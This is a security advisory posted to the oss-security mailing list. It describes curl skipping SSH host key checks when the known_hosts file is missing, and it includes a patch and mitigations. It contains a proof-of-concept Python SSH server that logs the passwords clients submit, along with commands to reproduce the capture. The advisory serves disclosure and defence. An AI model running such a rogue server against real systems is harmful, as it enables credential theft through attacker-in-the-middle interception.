Follow @Openwall on Twitter for new release announcements and other news
[<prev] [next>] [day] [month] [year] [list]
Message-ID: <8685f39b-c4cb-2a11-82cb-74ed44432947@iki.fi>
Date: Wed, 5 Feb 2025 17:08:31 +0200 (EET)
From: Harry Sintonen <sintonen@....fi>
To: oss-security@...ts.openwall.com
Subject: Curl SSH Insufficient Host Identity Verification

Curl SSH Insufficient Host Identity Verification
================================================
The latest version of this advisory is available at:
https://sintonen.fi/advisories/curl-ssh-insufficient-host-identity-verification.txt

Product:  curl up to and including version 8.12.0
Severity: High if important curl SSH transfers are affected. However, most end users
           are not affected. Assess the risk & impact on individual system basis.
Type:     Improper Host Identity Validation
CVE:      Not assigned (Not considered a vulnerability by the CNA)


Description
-----------

Curl can perform SFTP and SCP connections to download from or upload to SSH server. As
part of this SSH connection curl validates the host identity against the database of
known hosts (.ssh/known_hosts).

The curl man page about "--insecure" option says:

               (TLS SFTP SCP) By default, every secure connection curl makes is
               verified to be secure before the transfer takes place. This option
               makes curl skip the verification step and proceed without checking.

               ...

               For SFTP and SCP, this option makes curl skip the known_hosts
               verification. known_hosts is a file normally stored in the
               user's home directory in the ".ssh" subdirectory, which contains
               hostnames and their public keys.

               WARNING: using this option makes the transfer insecure.

This documentation implies that by default (if --insecure option is not present),
known_hosts verification will be performed, and the transfer is secure. However, due to a
logic flaw, curl omits this validation if the .ssh/known_hosts file is missing entirely.

When the file is missing curl connection to an SSH host system is vulnerable to attacker
in the middle attacks. When using key based authentication, it allows a malicious host to
spoof the target host, and either return tampered or otherwise malicious content on
download, or for uploads for the attacker to capture the uploads. When using password
authentication it will also leak the username and password to the attacker, and thus
allows the attacker to connect to the intended target host with the leaked credentials.

The ssh/.known_hosts file generally is missing for accounts that have not used ssh
commands before. For interactive user accounts this can be considered rare. The
situation can happen more often for technical accounts set up for applications or
automated processing. It can also easily happen when curl is deployed via docker. For
example using dockerized curl like this is vulnerable:

$ docker run --rm curlimages/curl:8.11.1 -u bob:hunter2 sftp://target.invalid/file

The attack can be performed at any network position between the curl client and the
target SSH server. Typical low effort attack scenario would involve running a rogue
access point that performs the attack. More advanced exploitation is possible by actors
with privileged access to networking equipment.

It should be noted that curl project itself doesn't consider this issue a security
vulnerability. The project argues that the "Warning: Couldn't find a known_hosts file"
message shown should be enough to alert the user to the issue. Additionally, the project
argues that the documentation does not explicitly state that the operation would be
safe if the known_hosts file is missing. The argument also is that the user should
understand that the connection would be insecure under these circumstances. Finally,
the project also mentions that this is the way curl has worked for a long time. Curl
project also notes that this an area/behavior that could be improved in curl.

My remarks on these arguments are:

1. The warning message is enough to warn the users

    There might not be human reading the warning message if curl is used in
    automation. Even if there is, this assumes that user understands that despite
    the message the user credentials have already been leaked, the download might
    have been replaced with malicious content, or the upload sent to an attacker
    controlled system. The message is also often hidden among a lot of other
    information presented (such as the progress bar), so it's rather easy to miss.

2. Documentation doesn't claim curl being secure in this condition

    This is true, but the documentation of --insecure option explicitly says that:
    "(TLS SFTP SCP) By default, every secure connection curl makes is verified
     to be secure before the transfer takes place."
    This statement is quite explicit in claiming that every TLS, SFTP, SCP connection
    is secure by default, unless if curl is told to be insecure. While the statement
    "There is no documentation claiming the opposite" is true, I argue that users
    can understand the documentation in a way that curl would be secure even if the
    known_hosts file is missing.

3. Users should understand curl being insecure in this condition

    Experienced users might understand that something is off if they spot the
    warning message. However, this assumes quite intimate understanding of SSH
    protocol and host key validation. In my experience this is not capability many
    inexperienced users have. Finally, all other SSH tools (including OpenSSH) by
    default will consider missing known_hosts file same as "the host is not
    known".

4. Curl has worked like this for a long time

    Generally, curl project doesn't want to change behavior on a whim, and I agree
    with this in most situations. Even a small behavioral change can lead to
    countless of automated tasks suddenly failing. If this long-standing behavior
    wouldn't lead to security impact this argument would be much stronger. Here I
    believe that curl should rather outright fail if the known_hosts file is missing.
    This would be a behavioral change, and it would break some existing workflows.
    But the affected workflows are vulnerable to Attacker in the Middle attacks, so
    I believe this is acceptable.

I respect the curl project and the team and applaud their excellent security work.
However, I can't agree with them about this issue not being a vulnerability. The full
discussion about this can be read from the following Hackerone ticket:
https://hackerone.com/reports/2961050


Details
-------

Secure Shell (SSH) protocol depends on validation of trust. It is not merely enough to
encrypt the communication towards a server, the client also must confirm the identity of
the peer. The authentication aspect of SSH requires that the client has prior knowledge
of the cryptographic identity of the target server. The SSH client must verify the
authenticity of the server to ensure secure communication.


CWE-295: Improper Host Certificate Validation
---------------------------------------------

The curl application SSH server host certificate validation is insufficient. Since the
authenticity check is omitted if the .ssh/known_hosts file is missing, a third party in
privileged network position can tamper with the communication between the client and the
server. As a result, an attacker in a privileged network position (any point between the
curl application and the SSH server) can perform an Attacker in The Middle attack.

This flaw is a result of a logic flaw in curl code at src/tool_operate.c:

     if(!config->insecure_ok) {
       char *known = findfile(".ssh/known_hosts", FALSE);
       if(known) {
         /* new in curl 7.19.6 */
         result = res_setopt_str(curl, CURLOPT_SSH_KNOWNHOSTS, known);
         curl_free(known);
         if(result == CURLE_UNKNOWN_OPTION)
           /* libssh2 version older than 1.1.1 */
           result = CURLE_OK;
         if(result)
           return result;
       }
       else
         warnf(global, "Couldn't find a known_hosts file");
     }
   }

When findfile() function cannot find the ".ssh/known_hosts" in any of the search paths,
the code will result in not setting CURLOPT_SSH_KNOWNHOSTS at all. This, in turn, will
result in libcurl to omit validating the host identity.

As a result, curl will connect to any server, regardless of its identity.

Notably, even though curl does print "Warning: Couldn't find a known_hosts file" to
standard error when the attack is successful, it prints this right before connecting the
host. At that point it is too late, and typically the user doesn't have time to react to
the warning. The confidential information (such as credentials and file on upload
operations) have already been sent to the unverified host.


Proof of Concept 
----------------

I developed a minimal proof of concept SSH server that demonstrates the issue by capturing
the user credentials passed in curl invocation. This proof of concept does not enable file
transfers, nor does it itself perform any attacker in the middle functionality.

1. Run a malicious SSH server:

#!/usr/bin/env python3

import paramiko.rsakey
import paramiko
import threading
import logging
import socket

logging.basicConfig(level = logging.INFO)

class SSHServer(paramiko.ServerInterface):
     def __init__(self):
         self.event = threading.Event()

     def get_allowed_auths(self, username):
         logging.debug('[auth] Get username {} allowed auths'.format(username))
         return "password,publickey,none"

     def check_auth_none(self, username):
         logging.debug('[none] Authenticated username {}'.format(username))
         return paramiko.AUTH_FAILED

     def check_auth_password(self, username, password):
         logging.info('[pass] Authenticated username {} password {}'.format(username, password))
         return paramiko.AUTH_FAILED

class ClientConnection(threading.Thread):
     def __init__(self, group = None, target = None, name = None, args = ()):
         threading.Thread.__init__(self, group = group, target = target, name = name)
         self.args = args

     def run(self):
         hostkey = self.args[0]
         client = self.args[1]
         transport = None
         chan = None

         try:
             transport = paramiko.Transport(client)
             try:
                 transport.load_server_moduli()
             except:
                 pass

             transport.add_server_key(hostkey)
             server = SSHServer()
             try:
                 transport.start_server(server=server)
             except:
                 logging.warning('*** SSH negotiation failed, disconnect')
                 client.close()
                 return

             logging.info('Full remote version: {}'.format(transport.remote_version))

             chan = transport.accept(10)
             if chan:
                 chan.close()
             transport.close()

         except Exception as e:
             logging.info('*** Caught exception: {}: {}'.format(str(e.__class__), str(e)))
             if chan:
                 chan.close()
             if transport:
                 transport.close()
             pass


def main():
     hostkey = paramiko.rsakey.RSAKey.generate(1024)
     sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
     sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
     sock.bind(('127.0.0.1', 2222))
     sock.listen(7)

     while True:
         client, addr = sock.accept()
         logging.info('Received connection from {}:{}'.format(addr[0], addr[1]))
         t = ClientConnection(args = (hostkey, client,))
         t.start()

if __name__ == '__main__':
     main()

2. Connect to the malicious SSH server without a known_hosts file:
   $ mv ~/.ssh/known_hosts ~/.ssh/known_hosts.backup
   $ curl -u bob:hunter2 sftp://localhost:2222

3. The malicious SSH server dumps the credentials:
   ...
   INFO:root:[pass] Authenticated username bob password hunter2
   ...


Mitigations
-----------

1. You can apply the following patch to fix the issue:

---8<---
diff --git a/src/tool_operate.c b/src/tool_operate.c
index 007a5e054..52e10a5f5 100644
--- a/src/tool_operate.c
+++ b/src/tool_operate.c
@@ -1170,14 +1170,13 @@ static CURLcode config2setopts(struct GlobalConfig *global,
          /* new in curl 7.19.6 */
          result = res_setopt_str(curl, CURLOPT_SSH_KNOWNHOSTS, known);
          curl_free(known);
-        if(result == CURLE_UNKNOWN_OPTION)
-          /* libssh2 version older than 1.1.1 */
-          result = CURLE_OK;
-        if(result)
-          return result;
        }
-      else
+      else {
          warnf(global, "Couldn't find a known_hosts file");
+        result = res_setopt_str(curl, CURLOPT_SSH_KNOWNHOSTS, "");
+      }
+      if(result)
+        return result;
      }
    }

---8<---

With this modification curl command will delegate the validation to the whichever SSH
backend that has been compiled to curl. Empty filename cannot be opened and will result
in the host identity not considered valid. This patch also changes the behaviour if the
SSH backend doesn't understand CURLE_UNKNOWN_OPTION option: This is now considered a
fatal error.

Note that this patch likely won't apply as-is to all curl versions. However, the
change should be trivial to backport to other curl releases, too.


2. If you cannot change curl or build your own, there are strategies that will prevent
this vulnerability from getting triggered:

- Ensure that the .ssh/known_hosts file exist (either preseeded with the
   out-of-band validated host identities, or if there are none, have an empty
   file).
or
- Employ --hostpubmd5 or --hostpubsha256 option to validate the host identity.


Timeline 
--------

2025-01-27  Discovered and reported the vulnerability via curl Hackerone program.
2025-01-27  Report declared "not security vulnerability".
2025-02-05  Released this advisory.

Powered by blists - more mailing lists

Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.

Confused about mailing lists and their use? Read about mailing lists on Wikipedia and check out these guidelines on proper formatting of your messages.